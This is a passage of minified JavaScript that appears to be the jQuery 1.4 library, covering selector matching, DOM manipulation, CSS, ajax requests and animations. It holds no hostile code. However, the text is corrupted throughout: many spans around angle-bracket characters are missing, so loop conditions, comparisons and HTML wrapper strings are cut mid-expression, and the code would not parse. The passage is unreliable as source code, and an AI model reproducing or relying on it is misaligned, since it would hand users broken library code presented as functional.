e.apply(this,arguments)}):e;if(d==="unload"&&b!=="one")this.one(d,f,e);else{j=0;for(var o=this.length;j0){y=t;break}}t=t[g]}m[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g, +e=0,j=Object.prototype.toString,i=false,o=true;[0,0].sort(function(){o=false;return 0});var k=function(g,h,l,m){l=l||[];var q=h=h||s;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||typeof g!=="string")return l;for(var p=[],v,t,y,S,H=true,M=x(h),I=g;(f.exec(""),v=f.exec(I))!==null;){I=v[3];p.push(v[1]);if(v[2]){S=v[3];break}}if(p.length>1&&r.exec(g))if(p.length===2&&n.relative[p[0]])t=ga(p[0]+p[1],h);else for(t=n.relative[p[0]]?[h]:k(p.shift(),h);p.length;){g=p.shift();if(n.relative[g])g+=p.shift(); +t=ga(g,t)}else{if(!m&&p.length>1&&h.nodeType===9&&!M&&n.match.ID.test(p[0])&&!n.match.ID.test(p[p.length-1])){v=k.find(p.shift(),h,M);h=v.expr?k.filter(v.expr,v.set)[0]:v.set[0]}if(h){v=m?{expr:p.pop(),set:z(m)}:k.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=v.expr?k.filter(v.expr,v.set):v.set;if(p.length>0)y=z(t);else H=false;for(;p.length;){var D=p.pop();v=D;if(n.relative[D])v=p.pop();else D="";if(v==null)v=h;n.relative[D](y,v,M)}}else y=[]}y||(y=t);y||k.error(D|| +g);if(j.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))l.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&y[g].nodeType===1&&l.push(t[g]);else l.push.apply(l,y);else z(y,l);if(S){k(S,q,l,m);k.uniqueSort(l)}return l};k.uniqueSort=function(g){if(B){i=o;g.sort(B);if(i)for(var h=1;h":function(g,h){var l=typeof h==="string";if(l&&!/\W/.test(h)){h=h.toLowerCase();for(var m=0,q=g.length;m=0))l||m.push(v);else if(l)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()}, +CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,l,m,q,p){h=g[1].replace(/\\/g,"");if(!p&&n.attrMap[h])g[1]=n.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,l,m,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=k(g[3],null,null,h);else{g=k.filter(g[3],h,l,true^q);l||m.push.apply(m, +g);return false}else if(n.match.POS.test(g[0])||n.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,l){return!!k(l[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)}, +text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}}, +setFilters:{first:function(g,h){return h===0},last:function(g,h,l,m){return h===m.length-1},even:function(g,h){return h%2===0},odd:function(g,h){return h%2===1},lt:function(g,h,l){return hl[3]-0},nth:function(g,h,l){return l[3]-0===h},eq:function(g,h,l){return l[3]-0===h}},filter:{PSEUDO:function(g,h,l,m){var q=h[1],p=n.filters[q];if(p)return p(g,l,h,m);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h= +h[3];l=0;for(m=h.length;l=0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var l=h[1];g=n.attrHandle[l]?n.attrHandle[l](g):g[l]!=null?g[l]:g.getAttribute(l);l=g+"";var m=h[2];h=h[4];return g==null?m==="!=":m=== +"="?l===h:m==="*="?l.indexOf(h)>=0:m==="~="?(" "+l+" ").indexOf(h)>=0:!h?l&&g!==false:m==="!="?l!==h:m==="^="?l.indexOf(h)===0:m==="$="?l.substr(l.length-h.length)===h:m==="|="?l===h||l.substr(0,h.length+1)===h+"-":false},POS:function(g,h,l,m){var q=n.setFilters[h[2]];if(q)return q(g,l,h,m)}}},r=n.match.POS;for(var u in n.match){n.match[u]=new RegExp(n.match[u].source+/(?![^\[]*\])(?![^\(]*\))/.source);n.leftMatch[u]=new RegExp(/(^(?:.|\r|\n)*?)/.source+n.match[u].source.replace(/\\(\d+)/g,function(g, +h){return"\\"+(h-0+1)}))}var z=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};try{Array.prototype.slice.call(s.documentElement.childNodes,0)}catch(C){z=function(g,h){h=h||[];if(j.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var l=0,m=g.length;l";var l=s.documentElement;l.insertBefore(g,l.firstChild);if(s.getElementById(h)){n.find.ID=function(m,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(m[1]))?q.id===m[1]||typeof q.getAttributeNode!=="undefined"&& +q.getAttributeNode("id").nodeValue===m[1]?[q]:w:[]};n.filter.ID=function(m,q){var p=typeof m.getAttributeNode!=="undefined"&&m.getAttributeNode("id");return m.nodeType===1&&p&&p.nodeValue===q}}l.removeChild(g);l=g=null})();(function(){var g=s.createElement("div");g.appendChild(s.createComment(""));if(g.getElementsByTagName("*").length>0)n.find.TAG=function(h,l){l=l.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var m=0;l[m];m++)l[m].nodeType===1&&h.push(l[m]);l=h}return l};g.innerHTML=""; +if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")n.attrHandle.href=function(h){return h.getAttribute("href",2)};g=null})();s.querySelectorAll&&function(){var g=k,h=s.createElement("div");h.innerHTML="

";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){k=function(m,q,p,v){q=q||s;if(!v&&q.nodeType===9&&!x(q))try{return z(q.querySelectorAll(m),p)}catch(t){}return g(m,q,p,v)};for(var l in g)k[l]=g[l];h=null}}(); +(function(){var g=s.createElement("div");g.innerHTML="
";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){n.order.splice(1,0,"CLASS");n.find.CLASS=function(h,l,m){if(typeof l.getElementsByClassName!=="undefined"&&!m)return l.getElementsByClassName(h[1])};g=null}}})();var E=s.compareDocumentPosition?function(g,h){return!!(g.compareDocumentPosition(h)&16)}: +function(g,h){return g!==h&&(g.contains?g.contains(h):true)},x=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},ga=function(g,h){var l=[],m="",q;for(h=h.nodeType?[h]:h;q=n.match.PSEUDO.exec(g);){m+=q[0];g=g.replace(n.match.PSEUDO,"")}g=n.relative[g]?g+"*":g;q=0;for(var p=h.length;q=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f0)for(var j=d;j0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,j= +{},i;if(f&&a.length){e=0;for(var o=a.length;e-1:c(f).is(e)){d.push({selector:i,elem:f});delete j[i]}}f=f.parentNode}}return d}var k=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(n,r){for(;r&&r.ownerDocument&&r!==b;){if(k?k.index(r)>-1:c(r).is(a))return r;r=r.parentNode}return null})},index:function(a){if(!a||typeof a=== +"string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),a);return this.pushStack(qa(a[0])||qa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode", +d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")? +a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);eb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):e;if((this.length>1||gb.test(f))&&fb.test(a))e=e.reverse();return this.pushStack(e,a,R.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===w||a.nodeType!==1||!c(a).is(d));){a.nodeType=== +1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==b&&d.push(a);return d}});var Ja=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ka=/(<([\w:]+)[^>]*?)\/>/g,hb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,La=/<([\w:]+)/,ib=/"},F={option:[1,""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div
","
"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d= +c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==w)return this.empty().append((this[0]&&this[0].ownerDocument||s).createTextNode(a));return c.text(this)},wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this}, +wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})}, +prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b, +this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},remove:function(a,b){for(var d=0,f;(f=this[d])!=null;d++)if(!a||c.filter(a,[f]).length){if(!b&&f.nodeType===1){c.cleanData(f.getElementsByTagName("*"));c.cleanData([f])}f.parentNode&&f.parentNode.removeChild(f)}return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++)for(b.nodeType===1&&c.cleanData(b.getElementsByTagName("*"));b.firstChild;)b.removeChild(b.firstChild); +return this},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Ja,"").replace(/=([^="'>\s]+\/)>/g,'="$1">').replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){ra(this,b);ra(this.find("*"),b.find("*"))}return b},html:function(a){if(a===w)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Ja, +""):null;else if(typeof a==="string"&&!ta.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(La.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Ka,Ma);try{for(var b=0,d=this.length;b0||e.cacheable||this.length>1?k.cloneNode(true):k)}o.length&&c.each(o,Qa)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);var e=this.length===1&&this[0].parentNode;if(e&&e.nodeType===11&&e.childNodes.length===1&&d.length===1){d[b](this[0]); +return this}else{e=0;for(var j=d.length;e0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),i);f=f.concat(i)}return this.pushStack(f,a,d.selector)}}});c.extend({clean:function(a,b,d,f){b=b||s;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||s;for(var e=[],j=0,i;(i=a[j])!=null;j++){if(typeof i==="number")i+="";if(i){if(typeof i==="string"&&!jb.test(i))i=b.createTextNode(i);else if(typeof i==="string"){i=i.replace(Ka,Ma);var o=(La.exec(i)||["", +""])[1].toLowerCase(),k=F[o]||F._default,n=k[0],r=b.createElement("div");for(r.innerHTML=k[1]+i+k[2];n--;)r=r.lastChild;if(!c.support.tbody){n=ib.test(i);o=o==="table"&&!n?r.firstChild&&r.firstChild.childNodes:k[1]===""&&!n?r.childNodes:[];for(k=o.length-1;k>=0;--k)c.nodeName(o[k],"tbody")&&!o[k].childNodes.length&&o[k].parentNode.removeChild(o[k])}!c.support.leadingWhitespace&&V.test(i)&&r.insertBefore(b.createTextNode(V.exec(i)[0]),r.firstChild);i=r.childNodes}if(i.nodeType)e.push(i);else e= +c.merge(e,i)}}if(d)for(j=0;e[j];j++)if(f&&c.nodeName(e[j],"script")&&(!e[j].type||e[j].type.toLowerCase()==="text/javascript"))f.push(e[j].parentNode?e[j].parentNode.removeChild(e[j]):e[j]);else{e[j].nodeType===1&&e.splice.apply(e,[j+1,0].concat(c.makeArray(e[j].getElementsByTagName("script"))));d.appendChild(e[j])}return e},cleanData:function(a){for(var b,d,f=c.cache,e=c.event.special,j=c.support.deleteExpando,i=0,o;(o=a[i])!=null;i++)if(d=o[c.expando]){b=f[d];if(b.events)for(var k in b.events)e[k]? +c.event.remove(o,k):Ca(o,k,b.handle);if(j)delete o[c.expando];else o.removeAttribute&&o.removeAttribute(c.expando);delete f[d]}}});var kb=/z-?index|font-?weight|opacity|zoom|line-?height/i,Na=/alpha\([^)]*\)/,Oa=/opacity=([^)]*)/,ha=/float/i,ia=/-([a-z])/ig,lb=/([A-Z])/g,mb=/^-?\d+(?:px)?$/i,nb=/^-?\d/,ob={position:"absolute",visibility:"hidden",display:"block"},pb=["Left","Right"],qb=["Top","Bottom"],rb=s.defaultView&&s.defaultView.getComputedStyle,Pa=c.support.cssFloat?"cssFloat":"styleFloat",ja= +function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===w)return c.curCSS(d,f);if(typeof e==="number"&&!kb.test(f))e+="px";c.style(d,f,e)})};c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return w;if((b==="width"||b==="height")&&parseFloat(d)<0)d=w;var f=a.style||a,e=d!==w;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter= +Na.test(a)?a.replace(Na,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Oa.exec(f.filter)[1])/100+"":""}if(ha.test(b))b=Pa;b=b.replace(ia,ja);if(e)f[b]=d;return f[b]},css:function(a,b,d,f){if(b==="width"||b==="height"){var e,j=b==="width"?pb:qb;function i(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(j,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a, +"border"+this+"Width",true))||0})}a.offsetWidth!==0?i():c.swap(a,ob,i);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&a.currentStyle){f=Oa.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ha.test(b))b=Pa;if(!d&&e&&e[b])f=e[b];else if(rb){if(ha.test(b))b="float";b=b.replace(lb,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f= +a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ia,ja);f=a.currentStyle[b]||a.currentStyle[d];if(!mb.test(f)&&nb.test(f)){b=e.left;var j=a.runtimeStyle.left;a.runtimeStyle.left=a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=j}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b= +a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var sb=J(),tb=//gi,ub=/select|textarea/i,vb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ka=/\?/,wb=/(\?|&)_=.*?(&|$)/,xb=/^(\w+:)?\/\/([^\/?#]+)/,yb=/%20/g,zb=c.fn.load;c.fn.extend({load:function(a,b,d){if(typeof a!== +"string")return zb.call(this,a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=c.param(b,c.ajaxSettings.traditional);f="POST"}var j=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(i,o){if(o==="success"||o==="notmodified")j.html(e?c("
").append(i.responseText.replace(tb,"")).find(e):i.responseText);d&&j.each(d,[i.responseText,o,i])}});return this}, +serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||ub.test(this.nodeName)||vb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "), +function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href, +global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:A.XMLHttpRequest&&(A.location.protocol!=="file:"||!A.ActiveXObject)?function(){return new A.XMLHttpRequest}:function(){try{return new A.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&& +e.success.call(k,o,i,x);e.global&&f("ajaxSuccess",[x,e])}function d(){e.complete&&e.complete.call(k,x,i);e.global&&f("ajaxComplete",[x,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),j,i,o,k=a&&a.context||e,n=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(n==="GET")N.test(e.url)||(e.url+=(ka.test(e.url)? +"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||N.test(e.url))){j=e.jsonpCallback||"jsonp"+sb++;if(e.data)e.data=(e.data+"").replace(N,"="+j+"$1");e.url=e.url.replace(N,"="+j+"$1");e.dataType="script";A[j]=A[j]||function(q){o=q;b();d();A[j]=w;try{delete A[j]}catch(p){}z&&z.removeChild(C)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache=== +false&&n==="GET"){var r=J(),u=e.url.replace(wb,"$1_="+r+"$2");e.url=u+(u===e.url?(ka.test(e.url)?"&":"?")+"_="+r:"")}if(e.data&&n==="GET")e.url+=(ka.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&c.event.trigger("ajaxStart");r=(r=xb.exec(e.url))&&(r[1]&&r[1]!==location.protocol||r[2]!==location.host);if(e.dataType==="script"&&n==="GET"&&r){var z=s.getElementsByTagName("head")[0]||s.documentElement,C=s.createElement("script");C.src=e.url;if(e.scriptCharset)C.charset=e.scriptCharset;if(!j){var B= +false;C.onload=C.onreadystatechange=function(){if(!B&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){B=true;b();d();C.onload=C.onreadystatechange=null;z&&C.parentNode&&z.removeChild(C)}}}z.insertBefore(C,z.firstChild);return w}var E=false,x=e.xhr();if(x){e.username?x.open(n,e.url,e.async,e.username,e.password):x.open(n,e.url,e.async);try{if(e.data||a&&a.contentType)x.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&x.setRequestHeader("If-Modified-Since", +c.lastModified[e.url]);c.etag[e.url]&&x.setRequestHeader("If-None-Match",c.etag[e.url])}r||x.setRequestHeader("X-Requested-With","XMLHttpRequest");x.setRequestHeader("Accept",e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(ga){}if(e.beforeSend&&e.beforeSend.call(k,x,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");x.abort();return false}e.global&&f("ajaxSend",[x,e]);var g=x.onreadystatechange=function(q){if(!x||x.readyState===0||q==="abort"){E|| +d();E=true;if(x)x.onreadystatechange=c.noop}else if(!E&&x&&(x.readyState===4||q==="timeout")){E=true;x.onreadystatechange=c.noop;i=q==="timeout"?"timeout":!c.httpSuccess(x)?"error":e.ifModified&&c.httpNotModified(x,e.url)?"notmodified":"success";var p;if(i==="success")try{o=c.httpData(x,e.dataType,e)}catch(v){i="parsererror";p=v}if(i==="success"||i==="notmodified")j||b();else c.handleError(e,x,i,p);d();q==="timeout"&&x.abort();if(e.async)x=null}};try{var h=x.abort;x.abort=function(){x&&h.call(x); +g("abort")}}catch(l){}e.async&&e.timeout>0&&setTimeout(function(){x&&!E&&g("timeout")},e.timeout);try{x.send(n==="POST"||n==="PUT"||n==="DELETE"?e.data:null)}catch(m){c.handleError(e,x,null,m);d()}e.async||g();return x}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status=== +1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b=== +"json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(i,o){if(c.isArray(o))c.each(o,function(k,n){b||/\[\]$/.test(i)?f(i,n):d(i+"["+(typeof n==="object"||c.isArray(n)?k:"")+"]",n)});else!b&&o!=null&&typeof o==="object"?c.each(o,function(k,n){d(i+"["+k+"]",n)}):f(i,o)}function f(i,o){o=c.isFunction(o)?o():o;e[e.length]=encodeURIComponent(i)+"="+encodeURIComponent(o)}var e=[];if(b===w)b=c.ajaxSettings.traditional; +if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var j in a)d(j,a[j]);return e.join("&").replace(yb,"+")}});var la={},Ab=/toggle|show|hide/,Bb=/^([+-]=)?([\d+-.]+)(.*)$/,W,va=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();la[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration=== +"number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]|| +c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(j){return e.step(j)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start; +this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now= +this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem, +e,this.options.orig[e]);this.options.complete.call(this.elem)}return 